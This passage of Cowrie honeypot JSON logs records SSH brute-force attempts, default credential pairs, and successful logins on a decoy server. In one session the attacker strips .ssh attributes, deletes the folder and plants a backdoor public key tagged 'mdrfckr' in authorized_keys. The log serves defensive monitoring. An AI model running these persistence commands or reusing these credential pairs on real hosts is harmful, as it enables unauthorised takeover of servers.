h.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:24.008747Z","src_ip":"172.172.196.177","session":"b66072b3874b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:24.093717Z","src_ip":"172.172.196.177","session":"b66072b3874b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:25.110048Z","src_ip":"172.172.196.177","session":"b66072b3874b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.172.196.177","src_port":56952,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c5e60c5ac7d","protocol":"ssh","message":"New connection: 172.172.196.177:56952 (159.203.135.109:22) [session: 4c5e60c5ac7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:25.119722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:25.124055Z","src_ip":"172.172.196.177","session":"4c5e60c5ac7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:25.136809Z","src_ip":"172.172.196.177","session":"4c5e60c5ac7d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:25.221672Z","src_ip":"172.172.196.177","session":"4c5e60c5ac7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:25.236935Z","src_ip":"172.172.196.177","session":"0d9b4141ee61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:52:25.241672Z","src_ip":"172.172.196.177","session":"4c5e60c5ac7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.173.117.246","src_port":35198,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4a1c44e0000","protocol":"ssh","message":"New connection: 172.173.117.246:35198 (159.203.135.109:22) [session: d4a1c44e0000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:53:49.581713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:53:49.585936Z","src_ip":"172.173.117.246","session":"d4a1c44e0000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:53:49.631707Z","src_ip":"172.173.117.246","session":"d4a1c44e0000","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"beehive","password":"Beehive123","message":"login attempt [beehive/Beehive123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:53:49.833167Z","src_ip":"172.173.117.246","session":"d4a1c44e0000","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:53:50.878217Z","src_ip":"172.173.117.246","session":"d4a1c44e0000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.253.230.244","src_port":48708,"dst_ip":"159.203.135.109","dst_port":23,"session":"e64ea644c00c","protocol":"telnet","message":"New connection: 47.253.230.244:48708 (159.203.135.109:23) [session: e64ea644c00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:53:59.972034Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.214.117.218","src_port":53548,"dst_ip":"159.203.135.109","dst_port":22,"session":"107cd10d5db9","protocol":"ssh","message":"New connection: 1.214.117.218:53548 (159.203.135.109:22) [session: 107cd10d5db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:05.666395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:05.671102Z","src_ip":"1.214.117.218","session":"107cd10d5db9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:05.872304Z","src_ip":"1.214.117.218","session":"107cd10d5db9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.121.147.48","src_port":54084,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e56d3225ba2","protocol":"ssh","message":"New connection: 45.121.147.48:54084 (159.203.135.109:22) [session: 5e56d3225ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:06.588881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:06.592918Z","src_ip":"45.121.147.48","session":"5e56d3225ba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edu","password":"edu@123","message":"login attempt [edu/edu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:06.703851Z","src_ip":"1.214.117.218","session":"107cd10d5db9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:06.831088Z","src_ip":"45.121.147.48","session":"5e56d3225ba2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"13579","message":"login attempt [root/13579] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:07.819540Z","src_ip":"45.121.147.48","session":"5e56d3225ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:07.906190Z","src_ip":"1.214.117.218","session":"107cd10d5db9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:08.340714Z","src_ip":"45.121.147.48","session":"5e56d3225ba2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:08.344528Z","src_ip":"45.121.147.48","session":"5e56d3225ba2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:08.348491Z","src_ip":"45.121.147.48","session":"5e56d3225ba2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:08.591647Z","src_ip":"45.121.147.48","session":"5e56d3225ba2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:09.106369Z","src_ip":"45.121.147.48","session":"5e56d3225ba2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:09.109536Z","src_ip":"45.121.147.48","session":"5e56d3225ba2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:09.353611Z","src_ip":"45.121.147.48","session":"5e56d3225ba2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:09.357407Z","src_ip":"45.121.147.48","session":"5e56d3225ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.121.147.48","src_port":55068,"dst_ip":"159.203.135.109","dst_port":22,"session":"3959e1f56792","protocol":"ssh","message":"New connection: 45.121.147.48:55068 (159.203.135.109:22) [session: 3959e1f56792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:09.582674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:09.586561Z","src_ip":"45.121.147.48","session":"3959e1f56792","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:09.816359Z","src_ip":"45.121.147.48","session":"3959e1f56792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:10.766074Z","src_ip":"45.121.147.48","session":"3959e1f56792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:12.048283Z","src_ip":"45.121.147.48","session":"3959e1f56792","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.121.147.48","src_port":55832,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d35afa8e184","protocol":"ssh","message":"New connection: 45.121.147.48:55832 (159.203.135.109:22) [session: 8d35afa8e184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:12.265661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:12.269466Z","src_ip":"45.121.147.48","session":"8d35afa8e184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:12.494666Z","src_ip":"45.121.147.48","session":"8d35afa8e184","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:13.432518Z","src_ip":"45.121.147.48","session":"8d35afa8e184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:13.660967Z","src_ip":"45.121.147.48","session":"8d35afa8e184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:13.665210Z","src_ip":"45.121.147.48","session":"5e56d3225ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":53804,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aec8fee75f6","protocol":"ssh","message":"New connection: 150.95.157.171:53804 (159.203.135.109:22) [session: 4aec8fee75f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:16.371160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:54:16.375233Z","src_ip":"150.95.157.171","session":"4aec8fee75f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 